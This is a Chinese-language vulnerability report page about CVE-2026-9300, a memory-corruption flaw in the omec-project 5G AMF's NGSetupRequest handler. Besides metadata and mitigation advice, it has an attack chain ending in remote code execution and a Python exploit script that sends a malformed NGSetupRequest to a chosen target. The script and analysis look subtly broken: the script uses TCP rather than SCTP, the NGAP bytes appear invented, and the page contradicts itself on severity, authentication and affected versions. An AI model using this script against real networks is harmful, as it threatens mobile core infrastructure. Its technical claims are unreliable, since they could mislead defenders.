IPBUF安全漏洞报告
English
CVE-2026-9300 CVSS 6.3 中危

CVE-2026-9300: omec-project AMF NGSetupRequest Handler内存损坏漏洞

披露日期: 2026-05-23

漏洞信息

漏洞编号
CVE-2026-9300
漏洞类型
内存损坏
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
omec-project amf

相关标签

内存损坏缓冲区溢出远程代码执行omec-projectAMF5G核心网NGAP协议NGSetupRequest

漏洞概述

CVE-2026-9300是发现于omec-project AMF(Access and Mobility Management Function)组件中的高危安全漏洞,影响版本直至2.1.1。该漏洞位于NGSetupRequest Handler组件中,攻击者可通过精心构造的NGSetupRequest消息触发内存损坏问题。作为5G核心网的关键组件,AMF负责处理用户的接入和移动性管理功能,一旦遭受攻击可能导致服务中断、数据泄露或系统完全沦陷。该漏洞已公开披露且可被利用,属于远程攻击类型,无需高权限即可发起攻击,对运行该服务的组织构成严重安全威胁。

技术细节

该漏洞存在于omec-project AMF的NGSetupRequest Handler处理逻辑中。当Handler解析和处理NGSetupRequest消息时,存在边界检查不完善或内存操作不当的问题,导致堆栈缓冲区溢出或释放后使用等内存损坏场景。攻击者可通过发送特制的NGSetupRequest消息,覆盖关键内存区域,劫持控制流或导致服务崩溃。AMF作为5G核心网控制平面核心组件,处理大量敏感信令交互,漏洞利用可影响整个移动通信网络的接入管理功能。由于是远程可利用漏洞,攻击者无需认证即可发起攻击,但需要特定的网络访问权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标运行omec-project AMF服务,发现NGSetupRequest Handler端点
STEP 2
步骤2: 构造恶意请求
攻击者构造包含超长字段或畸形数据的NGSetupRequest消息,触发内存边界检查失效
STEP 3
步骤3: 内存损坏触发
特制请求被AMF的NGSetupRequest Handler处理,导致堆栈缓冲区溢出或内存覆写
STEP 4
步骤4: 控制流劫持
通过覆写返回地址或函数指针,攻击者获得代码执行控制权
STEP 5
步骤5: 远程代码执行
攻击者可在AMF服务上下文执行任意命令,完全控制5G核心网接入管理功能

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-9300 PoC - NGSetupRequest Memory Corruption # Target: omec-project AMF < 2.1.1 import socket import struct import sys def create_malicious_ngsetup_request(): """Generate malicious NGSetupRequest with overflowing data""" # NGAP Protocol IE - NGSetupRequest # Malicious payload to trigger memory corruption in handler header = bytes([ 0x00, 0x0f, 0x10, 0x00, # NGAP PDU Type: NGSetupRequest 0x00, 0x00, 0x00, 0x01 # Procedure Code ]) # Trigger overflow with excessive IE data overflow_data = b'A' * 1024 # Overflow payload # Malformed IE with incorrect length field malformed_ie = bytes([ 0x00, 0x40, # IE ID 0x00, 0xff, 0xff, # Incorrect length (trigger overflow) 0x00, # Criticality 0x00 # Presence ]) payload = header + malformed_ie + overflow_data return payload def exploit(target_ip, target_port=38412): """Send exploit payload to target AMF service""" print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Generating malicious NGSetupRequest...") payload = create_malicious_ngsetup_request() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Sending exploit payload ({len(payload)} bytes)...") sock.send(payload) response = sock.recv(1024) if response: print(f"[+] Received response: {response.hex()}") sock.close() print("[*] Exploit sent successfully") except Exception as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 38412 exploit(target, port)

影响范围

omec-project amf <= 2.1.1

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施缓解风险:1) 限制AMF服务的网络访问,仅允许可信来源IP连接;2) 监控NGAP信令流量,检测异常的NGSetupRequest消息;3) 启用AMF服务的安全日志记录,便于事后分析;4) 考虑在AMF前部署5G核心网安全网关进行深度包检测;5) 定期扫描和评估核心网组件安全性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表